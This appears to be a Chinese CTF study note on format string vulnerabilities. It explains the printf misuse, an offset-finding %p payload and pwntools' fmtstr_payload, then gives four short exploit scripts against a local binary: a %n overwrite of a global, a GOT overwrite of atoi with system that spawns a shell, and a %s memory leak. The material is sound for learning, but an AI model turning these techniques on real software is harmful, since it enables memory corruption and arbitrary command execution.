格式化字符串漏洞学习记录
CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-CSDN博客_pwn 格式化字符串漏洞
printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:
printf("%s", pad),写成了:printf(pad),此时就存在格式化字符串漏洞。
利用payload来寻找输入字符串到栈顶指针的偏移
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
栈是一种特殊的线性表,是一种只允许在表的一端进行插入或删除操作的线性表。表中允许进行插入、删除操作的一端称为栈顶。表的另一端称为栈底。栈顶的当前位置是动态的,对栈顶当前位置的标记称为栈顶指针。当栈中没有数据元素时,称之为空栈。栈的插入操作通常称为进栈或入栈,栈的删除操作通常称为退栈或出栈。
- %s 打印地址内容
- %n 写四字节
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
offset:格式化字符串的偏移;
writes:需要利用%n写入的数据,采用字典形式,就写成{目标地址: 要写入的数据};要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}
numbwritten:已经输出的字符个数,这里没有,为0,采用默认值即可;#这里是要考虑printf参数的原因
write_size:写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
exp1:
- from pwn import *
-
- p=process('./pwn')
-
-
- dword_804c044=0x0804C044
- payload=fmtstr_payload(10,{dword_804c044:4})
-
- p.sendlineafter("your name:",payload)
- p.sendlineafter("your passwd",str(4))
- p.interactive()
exp2:
- from pwn import *
-
- p = process("./pwn")
-
- elf=ELF('./pwn')
- atoi_got=elf.got['atoi']
- system_plt=elf.plt['system']
-
- payload=fmtstr_payload(10,{atoi_got:system_plt})
-
- p.sendline(payload)
- p.sendline('/bin/sh')
- p.interactive()
exp3:
- from pwn import *
-
- p=process('./pwn')
- dword_addr=0x804C044
- p.recvuntil('your name:')
- payload=p32(dword_addr)+b'%10$n'
- p.sendline(payload)
- p.recvuntil("your passwd:")
- p.sendline(b'4')
- p.interactive()
exp4:
- from pwn import *
-
- p=process('./pwn')
-
- dword_addr=0x804C044
- payload=p32(dword_addr)+b'%10$s'
- p.sendline(payload)
- p.recvuntil("Hello,")
- p.recv(4)
- number=u32(p.recv(4))
- p.sendline(str(number))
- p.interactive()
-